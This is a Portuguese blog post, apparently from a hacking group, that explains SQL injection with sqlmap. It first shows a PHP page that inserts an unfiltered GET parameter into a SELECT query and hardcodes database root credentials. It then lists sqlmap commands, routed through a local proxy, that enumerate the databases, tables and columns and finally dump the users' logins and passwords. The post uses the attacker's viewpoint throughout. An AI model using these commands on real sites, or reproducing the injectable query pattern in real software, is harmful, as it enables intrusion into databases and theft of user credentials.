sábado, 9 de março de 2013

Personalizando comandos SQLMAP e Analise de código PHP


Personalizando comandos SQLMAP e Analise de código PHP


Personalizando comandos SQLMAP e Analise de código PHP

SQLMAP é a uma ótima ferramenta de injeção SQL que eu já vi: feito em python, Opensource, e os comandos vão de acordo com a necessidade do invasor.
 Vamos intender como funciona á URL

 URL: https://www.siteteste.com.br/index.php?id=1 
https :[Protocolo usado]
 www.siteteste.com.br :[Domínio alvo]
 index.php :[Arquivo php onde tem os include que fazem a consulta]
 ?id :[Parâmetro GET que recebe valores para que assim faça uma consulta no BD ou validação.]
1 :[Valor que será passado]
Código:

index.php?id=1
 -------------------------------INDEX.PHP-------------------------

  1. if($_GET['id']){
  2. $id = $_GET['id']; // Capturando valor GET e inserindo na variavel $id;

  3. require_once('include/function.php'); // Inserindo arquivo function no código atual.

  4. }?>

  5. Teste SQLMAP
  • pesquisa("noticias",$id);
  • ------------------------------------------------------------------------
    Agora vamos entender como funciona o arquivo function.php

    ----------------------------FUNCTION.PHP-------------------------

    1. function pesquisa($tabela,$id){ //Noma da function

    2. $con = mysql_connect("localhost","root","123456"); // editar host, usuario, senha

    3. $sql = "SELECT * FROM web.{$tabela} WHERE id={$id}"; //concatenando valores, web é o banco de dados.

    4. $query = mysql_query($sql); //executando select

    5. if (!$query) {  die ('ERRO!:' . mysql_error()); }//Se der algo errado.

    6. while($escrever=mysql_fetch_array($query)){ //Agora vamos percorrer o array.

    7.     echo "$escrever['NOTICIA']
      ";
    8. //Imprimindo valor atual do campo noticia

    9. }

    10.  mysql_close($con); // Fechando conexão!
    11. ?>

    ----------------------------------------------------------------------------
    Codigo vulneravel pois em nem um momento é feito o filtro adequado do parâmetroID assim possibilitando a modificação do sql de busca. 
    Digamos se na get_['id'] o usuario inserir o seguinte valorindex.phpid?=-1 order by 50; 
    Se a tabela noticias tiver menos que se 50 colunas ele vai retorno falando que não existe 50 colunas.Assim vai, o Sqlmap faz todo trabalho de injeção identificando quantidade de colunas, a versão do banco.Se as senhas estiverem em md5 o sqlmap já tem um wordlist.


    Dentro do codigo ficaria assim.
    $sql = "SELECT * FROM web.{$tabela} WHERE id={$id}";
    Valor modificado "SELECT * FROM web.noticias WHERE id=-1 order by 50;"

    Agora vamos para o sqlmap

    ./sqlmap.py --url https://www.siteteste.com.br/index.php?id=1 --dbs -p id -v 3 --proxy="http://localhost:8118"

    Não explicarei comandos sqlmap favor pesquisar.

    Pelo código criado o site esta vulnerável e retorna os seguintes valores.Banco de dados:

    [ * ] web
    [ * ] information_schema

    Agora queremos saber quais as tabelas do banco de dados "web".

     ./sqlmap.py --url https://www.siteteste.com.br/index.php?id=1 -D web -p id -v 3 --proxy="http://localhost:8118" --tablesTabelas:
    [ * ] usuario
    [ * ] noticias
    [ * ] smtp
    [ * ] blog


    Neste momento precisamos saber quais as colunas da tabela usuario.

    ./sqlmap.py --url https://www.siteteste.com.br/index.php?id=1 -D web -p id -v 3 --proxy="http://localhost:8118" -T usuario --columns

    +--------+--------------+
    | Column | Type |
    +--------+--------------+
    | ID | int(11) |
    | login | varchar(255) |
    | senha | varchar(255) |
    +--------+--------------+

    Logico que queres saber os usuario e senhas do site.

    ./sqlmap.py --url https://www.siteteste.com.br/index.php?id=1 -D web -p id -v 3 --proxy="http://localhost:8118" -T usuario -C "ID,login,senha" --dump


    Vamos lá galera estudar não basta saber os comandos.Tem que é o funcionamento.

    Grupo de Estudos Lacking Face &Anonymous Brasil.

    Nenhum comentário:

    Postar um comentário

    ............